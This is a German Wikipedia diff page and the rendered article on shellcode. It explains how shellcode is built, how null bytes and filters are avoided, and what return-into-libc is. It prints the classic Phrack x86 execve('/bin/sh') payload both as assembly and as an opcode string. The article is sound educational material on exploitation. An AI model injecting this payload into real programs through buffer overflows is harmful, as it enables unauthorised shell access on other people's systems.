„Shellcode“ – Versionsunterschied
[gesichtete Version] | [gesichtete Version] |
Hgulf (Diskussion | Beiträge) K Änderungen von 193.170.43.113 (Diskussion) auf die letzte Version von Hgulf zurückgesetzt |
tk k |
||
Zeile 1: | Zeile 1: | ||
'''Shellcode''' ist ein Begriff aus der [[Software]]-Programmierung und bezeichnet die in [[Opcode]]s umgewandelte Form von [[Assemblersprache]]nbefehlen, die einen oder mehrere bestimmte Befehle ausführen soll. In der Regel wird eine [[Kommandozeileninterpreter|Shell]] gestartet, daher auch der Name. Shellcodes werden in [[Pufferüberlauf]]- und anderen Dateninjektions-Attacken benutzt. |
'''Shellcode''' ist ein Begriff aus der [[Software]]-Programmierung und bezeichnet die in [[Opcode]]s umgewandelte Form von [[Assemblersprache]]nbefehlen, die einen oder mehrere bestimmte Befehle ausführen soll. In der Regel wird eine [[Kommandozeileninterpreter|Shell]] gestartet, daher auch der Name. Shellcodes werden in [[Pufferüberlauf]]- und anderen Dateninjektions-Attacken benutzt. |
||
Die Umwandlung findet hierbei nur zu dem Zweck statt, die Anweisung so im Speicher zu platzieren (dies wird meist über einen |
Die Umwandlung findet hierbei nur zu dem Zweck statt, die Anweisung so im Speicher zu platzieren (dies wird meist über einen sogenannten [[Pufferüberlauf]] erreicht), dass der Prozessor sie ausführt. |
||
== Erstellen von Shellcodes == |
== Erstellen von Shellcodes == |
||
Zur Erzeugung von Shellcode kann der auszuführende Befehl in [[C (Programmiersprache)|C]] geschrieben und mit einem [[Compiler]] übersetzt werden. Das erzeugte Programm wird nun disassembliert (rückübersetzt) und die Funktionsweise des Programms in Assemblersprache nachprogrammiert. Viele Instruktionen können aber weggelassen oder verkürzt werden. Bei vielen Sicherheitslücken darf im Shellcode kein 0-Byte enthalten sein, weil dieses in C das |
Zur Erzeugung von Shellcode kann der auszuführende Befehl in [[C (Programmiersprache)|C]] geschrieben und mit einem [[Compiler]] übersetzt werden. Das erzeugte Programm wird nun disassembliert (rückübersetzt) und die Funktionsweise des Programms in Assemblersprache nachprogrammiert. Viele Instruktionen können aber weggelassen oder verkürzt werden. Bei vielen Sicherheitslücken darf im Shellcode kein 0-Byte enthalten sein, weil dieses in C das String-Ende markiert. Manchmal müssen noch weitere Filter umgangen werden, beispielsweise werden nur Buchstaben und Zahlen zugelassen oder die Groß- und Kleinschreibung verändert. |
||
Anstatt eigenen Code auszuführen, was nicht immer möglich ist (zum Beispiel bei [[OpenBSD]] oder unter Verwendung von [[Speicherschutz]]), kann man auch direkt zu gewünschten Funktionen springen, die beispielsweise im Programm selber oder einer geladenen [[Programmbibliothek|Bibliothek]], beispielsweise der libc vorhanden sind. Dieses Verfahren wird [[return into libc]] genannt. |
Anstatt eigenen Code auszuführen, was nicht immer möglich ist (zum Beispiel bei [[OpenBSD]] oder unter Verwendung von [[Speicherschutz]]), kann man auch direkt zu gewünschten Funktionen springen, die beispielsweise im Programm selber oder einer geladenen [[Programmbibliothek|Bibliothek]], beispielsweise der libc vorhanden sind. Dieses Verfahren wird [[return into libc]] genannt. |
||
== Beispiel == |
== Beispiel == |
||
(''Quelle: {{Webarchiv | url=http://www.phrack.org/archives/49/P49-14'' | wayback=20080211101739 | text=}}) |
|||
<!-- Ursprünglich wohl http://www.phrack.org/phrack/49/P49-14, liefert jetzt aber 404. --> |
|||
=== Lokaler execve(/bin/sh) Shellcode === |
=== Lokaler execve(/bin/sh) Shellcode === |
||
Der Assembler Code (x86-Architektur):<ref>Quelle: {{Webarchiv|url=http://www.phrack.org/archives/49/P49-14| wayback=20080211101739 | text=phrack.org}}<!-- Ursprünglich wohl http://www.phrack.org/phrack/49/P49-14, liefert jetzt aber 404. --></ref> |
|||
Der Assembler Code (x86-Architektur): |
|||
< |
<syntaxhighlight lang="asm"> |
||
void main() { |
void main() { |
||
__asm__(" |
__asm__(" |
||
Zeile 21: | Zeile 19: | ||
popl %esi # 1 byte - Adresse des Strings wird in esi geladen |
popl %esi # 1 byte - Adresse des Strings wird in esi geladen |
||
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben |
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben |
||
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert |
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert |
||
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment |
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment |
||
movl $0xb,%eax # 5 bytes - syscall-nummer in eax |
movl $0xb,%eax # 5 bytes - syscall-nummer in eax |
||
movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh" |
movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh" |
||
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer |
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer |
||
leal 0xc(%esi),%edx # 3 bytes - environment |
leal 0xc(%esi),%edx # 3 bytes - environment |
||
int $0x80 # 2 bytes - interrupt wird ausgelöst |
int $0x80 # 2 bytes - interrupt wird ausgelöst |
||
movl $0x1, %eax # 5 bytes - exit-interrupt |
movl $0x1, %eax # 5 bytes - exit-interrupt |
||
movl $0x0, %ebx # 5 bytes - wird vorbereitet |
movl $0x0, %ebx # 5 bytes - wird vorbereitet |
||
int $0x80 # 2 bytes - interrupt wird ausgelöst |
int $0x80 # 2 bytes - interrupt wird ausgelöst |
||
call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht |
call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht |
||
.string \"/bin/sh\" # 8 bytes |
.string \"/bin/sh\" # 8 bytes |
||
"); |
"); |
||
} |
} |
||
</syntaxhighlight> |
|||
</source> |
|||
Der Opcode String: |
Der Opcode String: |
||
< |
<syntaxhighlight lang="asm"> |
||
char shellcode[] = |
char shellcode[] = |
||
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" |
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" |
||
Zeile 44: | Zeile 42: | ||
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" |
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" |
||
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; |
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; |
||
</syntaxhighlight> |
|||
</source> |
|||
Dieser Code ist jedoch nicht sonderlich geschickt, da er Nullbytes enthält und recht lang ist. Zur Vermeidung von |
Dieser Code ist jedoch nicht sonderlich geschickt, da er Nullbytes enthält und recht lang ist. Zur Vermeidung von „unerwünschten Zeichen“ werden häufig auch Encoder verwendet, welche eine Maskierung und spätere Demaskierung dieser Zeichen ermöglichen und den Shellcode eventuell noch zusätzlich komprimieren. Es gibt auch noch andere Techniken, die Adresse des Strings herauszufinden, als einen „jmp“ oder „call“. Es ist beispielsweise möglich, lediglich <code>/bin/sh</code> auf den Stack zu pushen. Danach enthält der ''esp'' die Adresse. |
||
== Siehe auch == |
|||
[[Heap Overflow]], [[return into libc]], [[double free()]], [[Exploit]], [[Assembler (Informatik)|Assembler]] |
|||
== Literatur == |
== Literatur == |
||
* Jack Koziol: ''The |
* Jack Koziol: ''The Shellcoder’s Handbook. Discovering and Exploiting Security Holes.'' Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3. |
||
* Jon Erickson: ''Forbidden Code.'' mitp, Bonn 2004, ISBN 3-8266-1457-7. |
* Jon Erickson: ''Forbidden Code.'' mitp, Bonn 2004, ISBN 3-8266-1457-7. |
||
== Weblinks == |
== Weblinks == |
||
* [http://www.shell-storm.org/shellcode/ Shellcode database] |
* [http://www.shell-storm.org/shellcode/ Shellcode database] |
||
* [http://www.phrack.org/archives/57/p57_0x05_IA64%20shellcode_by_papasutra.txt Writing ia64 alphanumeric shellcodes] |
* [http://www.phrack.org/archives/57/p57_0x05_IA64%20shellcode_by_papasutra.txt Writing ia64 alphanumeric shellcodes] |
||
* [http://www.hackerwiki.org/index.php/Erstellen_eines_Shellcode Erstellen eines 32bit-Shellcodes mit Linux] |
* [http://www.hackerwiki.org/index.php/Erstellen_eines_Shellcode Erstellen eines 32bit-Shellcodes mit Linux] |
||
* [http://www.metasploit.com/ |
* [http://www.metasploit.com/ Shellcode generieren.] Metasploit Project |
||
== Einzelnachweise == |
|||
<references /> |
|||
[[Kategorie:IT-Sicherheit]] |
[[Kategorie:IT-Sicherheit]] |
Version vom 26. September 2015, 21:12 Uhr
Shellcode ist ein Begriff aus der Software-Programmierung und bezeichnet die in Opcodes umgewandelte Form von Assemblersprachenbefehlen, die einen oder mehrere bestimmte Befehle ausführen soll. In der Regel wird eine Shell gestartet, daher auch der Name. Shellcodes werden in Pufferüberlauf- und anderen Dateninjektions-Attacken benutzt.
Die Umwandlung findet hierbei nur zu dem Zweck statt, die Anweisung so im Speicher zu platzieren (dies wird meist über einen sogenannten Pufferüberlauf erreicht), dass der Prozessor sie ausführt.
Erstellen von Shellcodes
Zur Erzeugung von Shellcode kann der auszuführende Befehl in C geschrieben und mit einem Compiler übersetzt werden. Das erzeugte Programm wird nun disassembliert (rückübersetzt) und die Funktionsweise des Programms in Assemblersprache nachprogrammiert. Viele Instruktionen können aber weggelassen oder verkürzt werden. Bei vielen Sicherheitslücken darf im Shellcode kein 0-Byte enthalten sein, weil dieses in C das String-Ende markiert. Manchmal müssen noch weitere Filter umgangen werden, beispielsweise werden nur Buchstaben und Zahlen zugelassen oder die Groß- und Kleinschreibung verändert.
Anstatt eigenen Code auszuführen, was nicht immer möglich ist (zum Beispiel bei OpenBSD oder unter Verwendung von Speicherschutz), kann man auch direkt zu gewünschten Funktionen springen, die beispielsweise im Programm selber oder einer geladenen Bibliothek, beispielsweise der libc vorhanden sind. Dieses Verfahren wird return into libc genannt.
Beispiel
Lokaler execve(/bin/sh) Shellcode
Der Assembler Code (x86-Architektur):[1]
void main() {
__asm__("
jmp 0x2a # 3 bytes - springt direkt vor den String
popl %esi # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax # 5 bytes - syscall-nummer in eax
movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80 # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax # 5 bytes - exit-interrupt
movl $0x0, %ebx # 5 bytes - wird vorbereitet
int $0x80 # 2 bytes - interrupt wird ausgelöst
call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}
Der Opcode String:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
Dieser Code ist jedoch nicht sonderlich geschickt, da er Nullbytes enthält und recht lang ist. Zur Vermeidung von „unerwünschten Zeichen“ werden häufig auch Encoder verwendet, welche eine Maskierung und spätere Demaskierung dieser Zeichen ermöglichen und den Shellcode eventuell noch zusätzlich komprimieren. Es gibt auch noch andere Techniken, die Adresse des Strings herauszufinden, als einen „jmp“ oder „call“. Es ist beispielsweise möglich, lediglich /bin/sh
auf den Stack zu pushen. Danach enthält der esp die Adresse.
Siehe auch
Heap Overflow, return into libc, double free(), Exploit, Assembler
Literatur
- Jack Koziol: The Shellcoder’s Handbook. Discovering and Exploiting Security Holes. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3.
- Jon Erickson: Forbidden Code. mitp, Bonn 2004, ISBN 3-8266-1457-7.
Weblinks
- Shellcode database
- Writing ia64 alphanumeric shellcodes
- Erstellen eines 32bit-Shellcodes mit Linux
- Shellcode generieren. Metasploit Project
Einzelnachweise
- ↑ Quelle: phrack.org ( vom 11. Februar 2008 im Internet Archive)